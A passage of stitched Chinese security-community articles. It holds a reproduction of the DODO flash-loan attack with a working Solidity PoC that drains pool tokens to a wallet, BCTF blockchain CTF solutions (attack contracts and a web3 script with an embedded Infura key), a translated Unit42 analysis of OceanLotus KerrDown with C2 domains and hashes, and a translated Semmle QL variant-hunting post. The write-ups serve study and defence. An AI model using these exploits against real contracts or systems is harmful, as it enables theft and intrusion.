> 并把垃圾Token 还给交易对合约, 躲过require的检查
> 讽刺的是该合约声明了`notInitialized`的modifier,但却并没有使用...
> 好玩的地方来了, 也许是攻击合约中的`Transfer Back`函数命名过于普通?
>
> 并且同样为`Public`权限
>
> 攻击者两次想把赃款从合约中提取出来的行为都被Bot监控到并且抢先提款,攻击者提了个寂寞...
> 只能说Dark Forest名不虚传.
## 0x02 复现方法
* 攻击事件发生在高度为`12000165`的块上, 所以我们可以选稍早的块去Fork以太坊的主网
npx ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@12000000
* 通过ERC20Factory 生成两个垃圾Token
> 由于ganache拿不到正确的返回值，也查不到Event
>
> 所以需要修改一下ERC20Factory合约
>
> 这样才能查到新生成的Token地址是什么...
* 为了方便我已经手动把两个垃圾Token 打给了`wCRES/USDT` 交易对合约
* 攻击合约如下
/**
*Submitted for verification at Etherscan.io on 2021-01-22
*/
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
interface DVM{
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external;
function init(
address maintainer,
address baseTokenAddress,
address quoteTokenAddress,
uint256 lpFeeRate,
address mtFeeRateModel,
uint256 i,
uint256 k,
bool isOpenTWAP
) external;
}
interface Token {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
}
interface USDT{
//USDT 并没有完全遵循 ERC20 标准 所以其接口需单独定义
function transfer(address to, uint value) external;
function balanceOf(address account) external view returns (uint);
}
contract poc{
uint256 wCRES_amount = 130000000000000000000000;
uint256 usdt_amount = 1100000000000;
address wCRES_token = 0xa0afAA285Ce85974c3C881256cB7F225e3A1178a;
address usdt_token = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address maintainer = 0x95C4F5b83aA70810D4f142d58e5F7242Bd891CB0;
// 这里是刚生成的Token1地址
address token1 = 0xAB48b42e6a98e671ff58338D5dD2fE44409b82D6;
// 这里是刚生成的Token2地址
address token2 = 0x1469A47A1700Cdf4cF030c0Fc7F2f45F24008228;
uint256 lpFeeRate = 3000000000000000;
address mtFeeRateModel = 0x5e84190a270333aCe5B9202a3F4ceBf11b81bB01;
uint256 i = 1;
uint256 k = 1000000000000000000;
bool isOpenTWAP = false;
// 这里填你的测试地址
address wallet = 0x;
address dvm_wCRES_USDT = 0x051EBD717311350f1684f89335bed4ABd083a2b6;
function attack() public {
address me = address(this);
DVM DVM_wCRES_USDT = DVM(dvm_wCRES_USDT);
DVM_wCRES_USDT.flashLoan(wCRES_amount,usdt_amount,me,"0x");
}
function DVMFlashLoanCall(address a, uint256 b, uint256 c, bytes memory d) public{
DVM DVM_wCRES_USDT = DVM(dvm_wCRES_USDT);
DVM_wCRES_USDT.init(maintainer,token1,token2,lpFeeRate,mtFeeRateModel,i,k,isOpenTWAP);
Token(wCRES_token).transfer(wallet, Token(wCRES_token).balanceOf(address(this)));
USDT(usdt_token).transfer(wallet, Token(usdt_token).balanceOf(address(this)));
}
}
* 攻击
* 成功
* * * | 社区文章 |
# Bctf Blockchain 两则详解——带你玩转区块链
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 近来各大ctf中，纷纷冒出了一个新题型——Blockchain，从HCTF开始到BCTF，作为一只web狗，还是要紧跟时代学习一下（毕竟web狗啥都要学），今天我们就来详细讨论一下这两题的解法，以及用到的知识点。
## EOSGame
题目地址为：`This contract is at 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F in
Ropsten network.`
这题是给了合约代码的，先贴一下合约代码：
contract EOSToken{
using SafeMath for uint256;
string TokenName = "EOS";
uint256 totalSupply = 100**18;
address owner;
mapping(address => uint256) balances;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
balances[owner] = totalSupply;
}
function mint(address _to,uint256 _amount) public onlyOwner {
require(_amount < totalSupply);
totalSupply = totalSupply.sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
require(_amount < balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function eosOf(address _who) public constant returns(uint256){
return balances[_who];
}
}
contract EOSGame{
using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;
event FLAG(string b64email, string slogan);
constructor() public{
eos=new EOSToken();
}
function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}
function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}
function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}
function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}
>
> 如果你看不懂？没关系，我准备了，在互联网上找了个不错的视频教程，就无偿奉献给大家了。[戳这里](https://pan.baidu.com/s/1UX3f-6LoOIxd7eCmoQ7z7g)
> 提取码是:uh7p 。
### 合约内容解析
下面我们先来大体看一下合约的内容：
首先第一个合约是写了一个token，EOSToken，可以理解为一种游戏币（毕竟ctf就是一场游戏，23333）
然后两个合约都使用了这么一句：
using SafeMath for uint256;
这里主要是为了防止溢出的，溢出？没错，在智能合约中，如果没有对某些数据类型进行限制，确实会导致溢出，这也导致了很多攻击的产生。详细分析[戳这里](https://www.jianshu.com/p/89c2e132683c)
然后我们先看看怎么才能获取flag，很容易找到限制条件：
require (eos.eosOf(tx.origin) > 18888);
只要我们的EOSToken是大于18888的，就能成功获得flag了。
然后我们来看这个game的具体逻辑：
这个函数是如果你第一次玩这个游戏，会给你发放100个token。
下面到了整个游戏的关键函数bet：
这是一个赌钱函数，首先会生成一个随机数，然后用你当前账户的赌博次数在生成一个随机数，同时对20取余，如果两个余数相等，那么会给你你赌资的100倍奖励，这里就涉及到了我们本题的考点了，solidity智能合约随机数预测，有关科普[戳这里](https://www.freebuf.com/vuls/179173.html)
。
我理解为
如果生成随机数使用的种子使用的是有关当前区块的有关信息，那就是可以预测的，因为如果使用合约调用合约，那两个交易会被打包在一个区块内，那生成种子的所有信息，攻击合约都可以获得，攻击合约可以利用这些信息，生成完全一样的随机数。
接下来，两个函数，分别是小赌和大赌，赌资分别是1 和 20。
### 理清攻击流程
那么很显然，我们的攻击流程可以归结如下：
### 编写攻击合约
合约如下:
差不多每次调用获取的收益在 20*100 左右，手动调用几次就能获取flag
### 获取flag
当你的余额足够了以后，调用当前合约的flag函数，将邮箱的base64作为参数传入，即可获取flag邮件
## Fake3D
合约地址：`This game is at 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a in Ropsten
network.`
贴一下合约代码：
contract WinnerList{
address public owner;
struct Richman{
address who;
uint balance;
}
function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}
}
contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;
event FLAG(string b64email, string slogan);
constructor(address _addr) public{
wlist = WinnerList(_addr);
}
modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}
function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}
function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}
}
浏览一遍，发现是一个很明显的薅羊毛的游戏，但是这里有个判断：
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
于是搜索到了一篇文章，[文章地址](https://blog.csdn.net/weixin_38746124/article/details/81904115)
文章中说到，当一个合约在执行构造函数的时候，其extcodesize也为0 ，所以首先写出薅羊毛合约。
### 攻击合约
这里就借用 r3kapig 队伍写的来测试：
contract father {
function father() payable {}
Son son;
function attack(uint256 times) public {
for(uint i=0;i<times;i++){
son = new Son();
}
}
function () payable {
}
}
contract Son {
function Son() payable {
Fake3D f3d;
f3d=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
f3d.airDrop();
if (f3d.balance(this)>=10)
{
f3d.transfer(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91,10);
}
selfdestruct(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91);
}
function () payable{
}
}
这样调用 attack(150) 一次，大概可以得到400的收益，调用20次左右即可达到要求。
可以通过写脚本，来不断调用这个方法，脚本如下:
但是在达到要求之后，在调用getflag的过程中遇到了问题，总是调用失败。
### 继续探索
于是想到了可能 合约WinnerList 给出的代码不准确，于是调用脚本去读取整整WinnerList 合约的地址：
得到了WinnerList 的实际地址为：0xd229628fd201a391cf0c4ae6169133c1ed93d00a
于是反编译：`https://ethervm.io/decompile?address=0xd229628fd201a391cf0c4ae6169133c1ed93d00a&network=ropsten`
在反编译的函数中发现了一个关键判断：
总结一下就是调用的地址最后两位必须是43 或者倒数三四位必须是b1 。
这里使用[工具](https://vanity-eth.tk/)爆破一下，得到合法的地址：
### 获取flag
我们先将token 通过tranfer方法交易给满足条件的账户，然后再调用flag函数：
即可完成整个的交易，获取flag。
脚本如下：
from web3 import Web3
import sha3
my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/2b86c426683f4a6095fd175fe931d799")
assert my_ipc.isConnected()
runweb3 = Web3(my_ipc)
myaccount = "your account"
private = "your private key"
constract = "0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a"
transaction_dict1 = {
'from':Web3.toChecksumAddress(myaccount),
'to':constract,
'gasPrice':10000000000,
'gas':3000000,
'nonce': None,
'value':0,
'data':
"0xa9059cbb000000000000000000000000c918033c74054a190ed8004fdadf1b53f04a05430000000000000000000000000000000000000000000000000000000000002328"
} # 原来账户转账给爆破出的账户 tranfer
transaction_dict = {
'from':Web3.toChecksumAddress(myaccount),
'to':constract,
'gasPrice':10000000000,
'gas':3000000,
'nonce': None,
'value':0,
'data':
"0x9590729100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000021205933567464486831616d6c68596d6c755147647459576c734c6d4e7662513d3d00000000000000000000000000000000000000000000000000000000000000"
} # 满足要求的账户调用flag函数
def init():
myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(myaccount))
print(myNonce)
transaction_dict["nonce"] = myNonce
r = runweb3.eth.account.signTransaction(transaction_dict, private)
try:
runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
except:
pass
if __name__ == '__main__':
while True:
init()
## 后记
作为一只刚入门这个方向的半小白，从一无所知花了几天时间慢慢了解了这些东西，觉得做这些题目还挺有意思的，当然可能有很多笨拙的地方，还请大佬们多多指教。 | 社区文章 |
本文是翻译文章，文章来源：unit42.paloaltonetworks.com
原文地址：<https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/>
译文仅供参考，具体内容表达以及含义原文为准
## 一、简介
OceanLotus (AKA
APT32)组织来自东南亚，具有极高的攻击能力，在过去的几年里，许多安全研究人员对该组织的活动进行披露。对该组织使用的工具和策略进行了研究和跟踪。该组织主要活跃于亚太地区。
该博客主要探讨一款自定义下载的恶意软件，我们命名为“KerrDown”，自2018年初至今，OceanLotus组织一直在使用该软件。我们还展示了如何使用[jaccard-index](https://en.wikipedia.org/wiki/Jaccard_index)算法快速找到与KerrDown相似的数据集。事实证明，这种方法适用于从大量的数据集中提取相似样本集。并与攻击活动进行关联。
KerrDown通过以下两种方法进行传播：1.使用带有恶意宏的Microsoft
Office文档。2.包含合法DLL文件的RAR压缩包。该压缩包文件名使用越南语，通过分析，我们认定该活动主要目标为越南。
## 二、细节分析
**恶意文档**
我们的分析开始于一个邮件，OceanLotus组织曾经用过该传播方式，但该邮件包含了一个新的载荷：KerrDown，其哈希为：
(SHA256:89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3)
下图为诱饵文件图片，当受害者打开诱饵文档，文档要求受害者启用宏以查看文件内容。仔细观察，还会发现页面包含两个base64编码的数据。并且字体大小为1。该方法可逃避检测并容易使受害者忽略。
对两段数据进行解吗，会发现PE文件的MZ头，如下图所示：
下图为嵌入的宏代码，可以看出，通过iCheck变量检测是哪段数据，如果受害者的操作系统是64位，则iCheck为True，左侧的数据会被解码。32位操作系统则返回False。右侧的数据被解码。
我们还观察到攻击者使用了Motobit发布的VBS解码功能。下图显示了宏代码中base64函数和Motobit发布的VBS
base64解码器之间的比较情况。
我们用[jaccard-index](https://en.wikipedia.org/wiki/Jaccard_index)来分析KerrDown样本的相似性，我们通过Jaccard索引来检测OceanLotus组织曾经使用过的恶意文件，我们没有发现任何匹配。我们使用KerrDown样本的imphash值和C2域名发现了一些样本，并使用相似性算法进行分析。我们把分析结果用[networkx](https://pypi.org/project/networkx/)绘制而出。如下图所示，可以看到，图的右上方有一个集群，该集群与已知的OceanLotus恶意软件无相似之处。因此我们认为该样本集是OceanLotus使用的新恶意软件。我们将其命名为KerrDown。
如上文所说，该恶意软件会根据不同的操作系统解码对应的dll文件，并将该文件命名为“main_background.png”。存放在“User\Administrator\AppData\Roaming”目录下。DLL文件会检索URL，用DES算法对其进行内存解密并执行。因此，只有KerrDown
DLL文件被保存在系统中。下图显示了下载程序连接的URL。
在分析期间，恶意载荷仍然有效，我们发现下载的文件是Cobalt Strike
Beacon的变种。[Cybereason](https://www.cybereason.com/blog/operation-cobalt-kitty-apt)在以前的攻击活动中使用Cobalt Strike。我们看到，该恶意软件的目的是在内存中下载并执行Cobalt Strike
Beacon有效负载。虽然Cobalt Strike是一款商业渗透工具。但很多攻击者在活动中使用它。
在调查KerrDown时，我们发现了多个包含恶意软件的RAR文件。攻击者通过压缩和加密来隐藏攻击程序。RAR文件哈希如下：
(SHA256:040abac56542a2e0f384adf37c8f95b2b6e6ce3a0ff969e3c1d572e6b4053ff3)
压缩文件的文件名用越南话书写，为“Don khieu nai.rar”，是“投诉信”的意思。该文件包含一个合法的旧版Microsoft Word
(Microsoft Word 2007) 可执行文件，名为“Noi dung chi tiet don khieu nai gui cong
ty.exe”，其含义是“了解贵公司更多信息”。攻击者加载该DLL。DLL执行多个shellcode，每段shellcode使用各种技术进行隐藏。具体步骤如下：
1.Microsoft Word exe将wwlib.dll加载到同一目录并执行DLL中的“FMain”功能。
2.DLL用base64解码shellcode并执行。
3.shellcode用开源代码[UCL](http://www.oberhumer.com/opensource/ucl/)进行解压第二个shellcode并执行。
4.第二个shellcode用AES解密第三个shellcode
5.第三个shellcode从以下位置检索shellcode并执行：<https://cortanasyn[.]com/Avcv>
6.第四个shellcode将嵌入的Cobalt Strike Beacon DLL加载到内存并执行。
通过对KerrDown样本的时间戳进行分析，我们可以得出如下结论：
OceanLotus组织自2018年3月以来一直在其活动中使用该下载程序。并继续使用它。下图显示了KerrDown活动时间轴：
人们普遍认为OceanLotus组织来自越南，我们希望从我们的数据集中找到他们的工作模式，我们绘制了文件的编译时间，发现该组织工作时间为上午9点至下午6点。大部分样本在这段时间进行编译。下图显示编译时间戳：
我们还观察到所有样本都是在工作日期间编译的：周一到周五。因此，OceanLotus组织在工作日工作，周末休息。下图是本周编译的样本。
## 三、总结
OceanLotus组织是亚太地区极具危险性的组织之一。正如我们在最近的活动中发现的KerrDown恶意软件。该组织在不断更新自己的技术和工具。所以，了解其运营和架构可以更好的抵御威胁。
## 四、IOC
**Lure DOCS**
73dcbcc47d6bd95dcf031ebbd34ac42301a20ee1143ac130b405e79b4ba40fc8
89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3
a4a066341b4172d2cb752de4b938bf678ceb627ecb72594730b78bd05a2fad9d
8bf22202e4fd4c005afde2266413cba9d1b749b1a2d75deac0c35728b5eb3af8
df8210d20c5eb80d44ba8fa4c41c26c8421dcb20168e4f796e4955e01ebc9e13
94fab926b73a6a5bc71d655c8d611b40e80464da9f1134bfce7b930e23e273ab
4321a9f95901a77b4acfbaef3596cf681712345e1cbd764873c6643fe9da7331
**KerrDown DLLs**
4a0309d8043e8acd7cb5c7cfca95223afe9c15a1c34578643b49ded4b786506b
4b431af677041dae3c988fcc901ac8ec6e74c6e1467787bf099c4abd658be5be
4bc00f7d638e042da764e8648c03c0db46700599dd4f08d117e3e9e8b538519b
4e2f8f104e6cd07508c5b7d49737a1db5eeba910adfdb4c19442a7699dc78cfc
4e791f2511c9bd3c63c8e37aa6625d8b590054de9e1cca13a7be2630bc2af9ce
539e8a53db3f858914cfe0d2132f11de34a691391ba71673a8b1e61367a963c7
53cd92f37ffd0822cc644717363ba239d75c6d9af0fa305339eaf34077edd22d
53efaac9244c24fab58216a907783748d48cb32dbdc2f1f6fb672bd49f12be4c
5c18c3e6f7ac0d0ac2b5fa9a6435ee90d6bd77995f85bed9e948097891d42ca2
5cda7d8294a8804d09108359dd2d96cdf4fdcf22ec9c00f0182d005afff76743
5f0db8216314da1f128b883b918e5ac722202a2ae0c4d0bf1c5da5914a66778e
6010d44cdca58cdec4559040e08798e7b28b9434bda940da0a670c93c84e33cd
60b65ebb921dca4762aef427181775d10bbffc30617d777102762ab7913a5aa1
6146aedfe47597606fb4b05458ec4b99d4e1042da7dc974fa33a57e282cd7349
6245b74b1cc830ed95cb630192c704da66600b90a331d9e6db70210acb6c7dfa
67cd191eb2322bf8b0f04a63a9e7cb7bc52fb4a4444fcb8fed2963884aede3aa
68f77119eae5e9d2404376f2d87e71e4ab554c026e362c57313e5881005ae79e
69e679daaaff3832c39671bf2b813b5530a70fb763d381f9a6e22e3bc493c8a9
6faa7deb1e1e0c3a7c62c2bb0ecdfa56b6e3ba4fe16971ec4572267ac70b9177
6fb397e90f72783adec279434fe805c732ddb7d1d6aa72f19e91a1bf585e1ea5
70db041fb5aadb63c1b8ae57ba2699baa0086e9b011219dcebcccbf632017992
7673f5468ba3cf01500f6bb6a19ce7208c8b6fc24f1a3a388eca491bc25cd9cd
77805a46f73e118ae2428f8c22ba28f79f7c60aeb6305d41c0bf3ebb9ce70f94
788265447391189ffc1956ebfec990dc051b56f506402d43cd1d4de96709c082
7be613237b57fbc3cb83d001efadeed9936a2f519c514ab80de8285bdc5a666c
7dbb7fab4782f5e3b0c416c05114f2a51f12643805d5f3d0cd80d32272f2731a
7ec77e643d8d7cc18cc67c123feceed91d10db1cc9fa0c49164cba35bb1da987
860f165c2240f2a83eb30c412755e5a025e25961ce4633683f5bc22f6a24ddb6
868ed69533fac80354a101410d3dd0a66f444385c6611cc85c5b0be49db2d6fd
89759e56d5c23085e47d2be2ce4ad4484dfdd4204044a78671ed434cec19b693
8b7fb1cd5c09f7ec57ccc0c4261c0b4df0604962556a1d401b9cbfd750df60ba
8d6e31c95d649c08cdc2f82085298173d03c03afe02f0dacb66dd3560149184f
942d763604d0aefdff10ce095f806195f351124a8433c96f5590d89d809a562f
98a5f30699564e6d9f74e737a611246262907b9e91b90348f7de53eb4cf32665
9e6011d6380207e2bf5105cde3d48e412db565b92cdc1b3c6aa15bd7bd4b099f
a106e0a6b7cc30b161e5ea0b1ec0f28ab89c2e1eb7ba2d5d409ddbabc3b037e6
a2b905c26e2b92e63de85d83e280249258cb21f300d8c4a3a6bdb488676e9bcf
a4a86e96f95f395fcf0ceb6a74a2564f4ba7adbe1b40cc702b054427327a0399
a8192656dd1db0be4cec9d03b4d10e0529d9c52c899eda8d8e72698acfb61419
a8f776bd3a9593e963b567ce790033fec2804ea0afb40a92d40e21d8f33d066f
b4966f8febdba6b2d674afffc65b1df11e7565acbd4517f1e5b9b36a8c6a16ed
bb25f1a73d095d57b2c8c9ac6780e4d412ddf3d9eef84a54903cc8e4eaefc335
bc82bce004afb6424e9d9f9fc04a84f58edf859c4029eda08f7309dbeec67696
c30198e0b0e470d4ac8821bd14bb754466e7974f1c20be8b300961e9e89ed1ea
caabc45e59820a4349db13f337063eddede8a0847ae313d89a800f241d8556c8
d3ef6643ad529d43a7ec313b52c8396dc52c4daad688360eb207ee91a1caf7b2
e3c818052237bb4bb061290ab5e2a55c3852c8a3fef16436b1197e8b17de2e18
e56ffcf5df2afd6b151c24ddfe7cd450f9208f59b5731991b926af0dce24285a
e8704bf6525c90e0f5664f400c3bf8ff5da565080a52126e0e6a62869157dfe3
e8a454cd8b57a243f0abeec6945c9b10616cfdcc4abfb4c618bfc469d026d537
eac776c3c83c9db1a770ffaf6df9e94611c8293cbd41cb9257148603b8f2be0b
ead0f3e6f0ca16b283f09526d09e8e8cba687dab642f0e102e5487cb565bf475
f011a136996fa53fdbde944da0908da446b9532307a35c44ed08241b5e602cc9
f2a2f4fa2ed5b2a94720a4661937da97ab21aa198a5f8c83bb6895aa2c398d22
f62f21ee7e642f272b881827b45ceb643c999a742e1d3eac13d1ba014d1e7f67
f9f0973dc74716b75291f5a9b2d59b08500882563011d1def2b8d0b1b9bbb8ae
**C2**
theme[[.]]blogsite[.]org
cortana[.]homelinux[.]com
word[.]webhop[.]info
work[.]windownoffice[.]com
cortanasyn[.]com
e[.]browsersyn[.]com
syn[.]servebbs[.]com
service[.]windown-update[.]com
check[.]homeip[.]net
outlook[.]updateoffices[.]net
mail[.]fptservice[.]net
office[.]windown-update[.]com
cortanazone[.]com
beta[.]officopedia[.]com
videos[.]dyndns[.]org
service[.]serveftp[.]org
syn[.]browserstime[.]com
check[.]webhop[.]org
ristineho[.]com
硬编码的配置信息，可以看到C2：https:// b.cortanazone[.]com.如下图所示：
下图是RAR文件的相关内容： | 社区文章 |
翻译自：<https://blogs.technet.microsoft.com/srd/2018/08/16/vulnerability-hunting-with-semmle-ql-part-1/>
作者：[swiat](https://social.technet.microsoft.com/profile/swiat)
* * *
# 前言
在这篇博客之前，我们聊过MSRC是怎么自动对报告和发现的漏洞[进行根本原因分析](https://blogs.technet.microsoft.com/srd/2017/10/03/vulnscan-automated-triage-and-root-cause-analysis-of-memory-corruption-issues/)的。完成这个之后，我们的下一步是变体分析：寻找和调查漏洞的任何变体。重要的是我们要找到所有的变体并同时修补它们，否则我们将承担它们在别的地方被利用的风险。在这篇文章中，我想说明一下我们在变体发现中所使用到的自动化操作。
在过去一年左右的时间里，我们一直在使用第三方静态分析环境[Semmle](https://www.semmle.com/)扩充我们的手动代码审查流程。它把代码编译到一个关系型数据库（快照数据库——一个数据库和源代码的结合），使用[Semmle
QL](https://github.com/Semmle/ql#semmle-ql)查询，[Semmle
QL](https://github.com/Semmle/ql#semmle-ql)是一种用于程序分析的陈述性的、面向对象的查询语言。
基础的工作流程是，在进行根本原因分析之后，我们编写查询语句以查找在语义上与原始漏洞类似的代码模式。任何结果都像往常一样进行分类，并提供给我们的工程团队以便开发修复程序。此外，查询语句被放置在中央仓库中，以便由MSRC和其他安全团队定期重新运行。这样的话，随着时间的推移，我们就可以通过跨多个代码库来扩展我们的变体发现。
除了变体分析以外，我们还前瞻性的在源代码的安全性评估中使用QL。这将会是未来的一个博客主题。现在，让我们看一些受MSRC案例启发的现实案例。
# 不正确的整数溢出检查
第一种情况是这种直接定义的错误，在大型代码库中找到变体会是一个十分繁琐的过程。
下面的代码展示了在添加无符号整数时检测溢出的常用习惯用法：
if (x + y < x) {
// handle integer overflow
}
不幸的是，当整数类型的宽度足够小以进行整型提升时，这个方法不起作用。例如，如果`x`和`y`都是`unsigned
short`，在编译时，上述代码讲等同于`(unsigned int)x + y < x`，使溢出检查失效。
这是一个匹配这种代码模式的QL查询语句：
import cpp
from AddExpr a, Variable v, RelationalOperation r
where a.getAnOperand() = v.getAnAccess()
and r.getAnOperand() = v.getAnAccess()
and r.getAnOperand() = a
and forall(Expr op | op = a.getAnOperand() | op.getType().getSize() < 4)
and not a.getExplicitlyConverted().getType().getSize() < 4
select r, "Useless overflow check due to integral promotion"
在from子语句中，我们定义了要在其余的查询语句中要用到的变量，以及它们的类型。`AddExpr`，`Variable`和`RelationalOperation`是表示快照数据库中各种实体集的QL类，例如，`RelationalOperation`包含所有具有关系操作的表达式（小于，大于等）。
`where`子语句是查询的一个元组成，使用逻辑连接词和量词来定义如何与变量建立联系。把它拆分开来看，这意味着加法表达式和关系运算需要一个与其中一个操作数相同的变量（上面代码示例中的`x`）：
a.getAnOperand() = v.getAnAccess() and r.getAnOperand() = v.getAnAccess()
关系操作的另一个操作数必须是添加：
r.getAnOperand() = a
添加的两个操作数的宽度必须都小于32位（4比特）
forall(Expr op | op = a.getAnOperand() | op.getType().getSize() < 4)
但如果加法表达式里有一个显示的强制类型转换，我们就对它是否小于32位不感兴趣了。
（这样的检查就类似于 `(unsigned short)(x + y) < x`，不会被查询语句标记）
最后，`select`子语句定义了结果集。
此漏洞最初在[Chakra](https://github.com/Microsoft/ChakraCore)（Edge的JavaScript引擎）中报告，无效的溢出检查导致的结果是内存崩溃。该查询与原始漏洞匹配，但在Chakra中没有其他变体。但是，我们在将此查询应用于其他Windows组件时，却发现了几个变体。
# SafeInt的不安全使用
另一种检查整数溢出的方法是使用内置此类检查的库。[SafeInt](https://docs.microsoft.com/en-us/cpp/windows/safeint-library)是一个C ++模板类，它在检测到溢出的地方覆盖掉算术操作以抛出一个异常。
下面是一个正确使用它的例子：
int x, y, z;
// ...
z = SafeInt<int>(x) + y;
但这有一个无意中被误用的例子——传递给构造函数的表达式可能已经溢出了：
int x, y, z;
// ...
z = SafeInt<int>(x + y);
如何写一个查询语句来检测这个？在前面的实例中，我们的查询语句只是用了内置QL类。对于这一个，让我们从自定义自己的类开始。我们选择一个或多个QL类进行子类化（使用`extends`），并定义一个
_特征谓词_ ，该 _谓词_ 指定快照数据库中与该类匹配的那些实体：
class SafeInt extends Type {
SafeInt() {
this.getUnspecifiedType().getName().matches("SafeInt<%")
}
}
QL类`type`表示快照数据库中所有类型的集合，对于QL类`SafeInt`，我们将其子集化为以“`SafeInt<`”开头的类型，从而表明它们是`SafeInt`模板类的实例化。`getUnspecifiedType()`谓词用于忽略类定义和诸如`const`的类型标识符。
接下来，我们定义可能会导致溢出的表达式子集，大多数算术操作都会导致溢出，但不是全部；这里使用QL的`instanceof`操作符来定义哪些是。我们使用递归定义，因为我们需要包含诸如`(x+1)/y`之类的表达式，即使`x/y`不需要包含在内。
class PotentialOverflow extends Expr {
PotentialOverflow() {
(this instanceof BinaryArithmeticOperation // match x+y x-y x*y
and not this instanceof DivExpr // but not x/y
and not this instanceof RemExpr) // or x%y
or (this instanceof UnaryArithmeticOperation // match x++ x-- ++x --x -x
and not this instanceof UnaryPlusExpr) // but not +x
// recursive definitions to capture potential overflow in
// operands of the operations excluded above
or this.(BinaryArithmeticOperation).getAnOperand() instanceof PotentialOverflow
or this.(UnaryPlusExpr).getOperand() instanceof PotentialOverflow
}
}
最后，我们在查询中将这两个类关联起来：
from PotentialOverflow po, SafeInt si
where po.getParent().(Call).getTarget().(Constructor).getDeclaringType() = si
select
po,
po + " may overflow before being converted to " + si
`.(Call)` 和 `.(Constructor)`
是内联强制转换的示例，类似于`instanceof`，是限制QL类匹配的另一种方式。在这种情况下，我们说，给定一个可能溢出的表达式，我们只对其父表达式是否是某种调用感兴趣。此外，我们只想知道该调用的目标是否是构造函数，以及它是否是某个`SafeInt`的构造函数。
就像之前的示例一样，这是一个跨多个代码库的，提供了多种可操作结果的查询语句。
# JavaScript重入到UAF
下一个例子是Edge的漏洞，由重入到JavaScript代码引起。
Edge定义了许多能被JavaScript调用的函数。这个模型函数阐明了漏洞的本质：
HRESULT SomeClass::vulnerableFunction(Var* args, UINT argCount, Var* retVal)
{
// get first argument - // from Chakra, acquire pointer to array
BYTE* pBuffer;
UINT bufferSize;
hr = Jscript::GetTypedArrayBuffer(args[1], &pBuffer, &bufferSize);
// get second argument –
// from Chakra, obtain an integer value
int someValue;
hr = Jscript::VarToInt(args[2], &someValue);
// perform some operation on the array acquired previously
doSomething(pBuffer, bufferSize);
…
问题出现在Edge回调`Chakra`的时候，在`VarToInt`的过程中可以造成RCE。下面的函数可用于传递一个JavaScript对象以覆盖[valueOf](https://docs.microsoft.com/en-us/scripting/javascript/reference/valueof-method-object-javascript)，以达到释放缓冲区的目的，所以当`VarToInt`返回值的时候，`pBuffer`就成了迷途指针。
var buf = new ArrayBuffer(length);
var arr = new Uint8Array(buf);
var param = {}
param.valueOf = function() {
/* free `buf`
(code to actually do this would be defined elsewhere) */
